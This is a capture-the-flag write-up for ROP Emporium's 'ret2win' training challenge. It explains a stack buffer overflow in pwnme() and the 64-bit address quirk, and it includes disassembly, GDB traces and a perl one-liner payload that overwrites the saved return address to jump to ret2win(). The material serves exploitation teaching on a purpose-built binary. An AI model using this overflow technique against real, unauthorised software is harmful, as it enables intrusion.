ROP Emporium CTF 1/7 ret2win
Learn return-oriented programming through a series of challenges designed to teach ROP techniques in isolation, with minimal reverse-engineering and bug-hunting.
Disassemble main()
to find it just prints some stuff and then calls pwnme()
.
$ r2 ./ret2win -qc "aa ; pdf @ sym.main"
There is a stack buffer overflow is in the pwnme()
function. We can see there is a 0x20
byte stack buffer with 0x32
bytes fgets
ed into it.
$ r2 ./ret2win -qc "aa ; pdf @ sym.pwnme"
| ; var char *s @ rbp-0x20
| 0x004007b9 sub rsp, 0x20
| 0x004007bd lea rax, [s]
...
| 0x004007f6 mov rdx, qword [obj.stdin]
| 0x004007fd lea rax, [s]
| 0x00400801 mov esi, 0x32
| 0x00400806 mov rdi, rax
| 0x00400809 call sym.imp.fgets
That means our payload needs to be 0x20
bytes to fill the buffer then the next
8
bytes will overflow the stored rbp
and the next 8
bytes will overflow the
stored rip
.
We can confirm this with GDB(1)
. We see that out "fedcba"
is now the new value of the instruction pointer rip
.
$ perl -e 'print(("\x00" x 0x28) . "fedcba")' |
gdb ./ret2win --batch -ex run
ret2win by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()
The stack after overflow looks like this, with 0x61626364
pop
ed into rip
and
causing a segfault.
+--------------------+--------------------+
| rsp + 0x28 | 0x0000000061626364 | <-- stored rip
| rsp + 0x20 | 0x0000000000000000 | <-- stored rbp
| rsp + 0x18 | 0x0000000000000000 | <-- end of buffer
| rsp + 0x10 | 0x0000000000000000 |
| rsp + 0x08 | 0x0000000000000000 |
| rsp + 0x00 | 0x0000000000000000 | <-- start of buffer
+--------------------+--------------------+
A note on 64 bit addressing
AMD64 processors typically only support 48 bit addresses with the top 16 bits are sign extended. Keep this in mind when choosing fake values to put onto the stack, because trying to use a non-conforming value as a memory address will result in obscure hardware errors which GDB can’t help with.
e.g. here the MMU couldn’t process 0x6162636465666768
and GDB still sees the
old (and perfectly fine) value of 0x0000000000400810
in the rip
register,
which will be confusing if you’re not aware of this particular quirk.
$ perl -e 'print(("\x00" x 0x28) . "hgfedcba")' |
gdb ./ret2win --batch -ex run
ret2win by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400810 in pwnme ()
Now that we have control of rip
the next step is to figure out what address to
put in there and get the application to jmp
to.
Just scanning through symbols we see an interesting function with the same name as the challenge.
$ r2 ./ret2win -qc "is"
[Symbols]
Num Paddr Vaddr Bind Type Size Name
...
039 0x00000811 0x00400811 LOCAL FUNC 32 ret2win
...
It simply spawns a shell and does cat flag.txt
which is exactly what we want.
$ r2 ./ret2win -qc "aa ; pdf @ sym.ret2win"
/ (fcn) sym.ret2win 32
| sym.ret2win ();
| 0x00400811 push rbp
| 0x00400812 mov rbp, rsp
| 0x00400815 mov edi, str.Thank_you__Here_s_your_flag:
| 0x0040081a mov eax, 0
| 0x0040081f call sym.imp.printf
| 0x00400824 mov edi, str.bin_cat_flag.txt ; "/bin/cat flag.txt"
| 0x00400829 call sym.imp.system
So replacing our test value (0x0000616263646566
) with the address of ret2win()
(0x00400811
) will cause the application to jump to ret2win()
and print out the flag. Since AMD64 is a little endian platform though, we need to write the bytes backwards, so 0x00400811
becomes "\x11\x08\x40"
.
$ perl -e 'print(("\x00" x 0x28) . "\x11\x08\x40")' | ./ret2win
ret2win by ROP Emporium
...
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}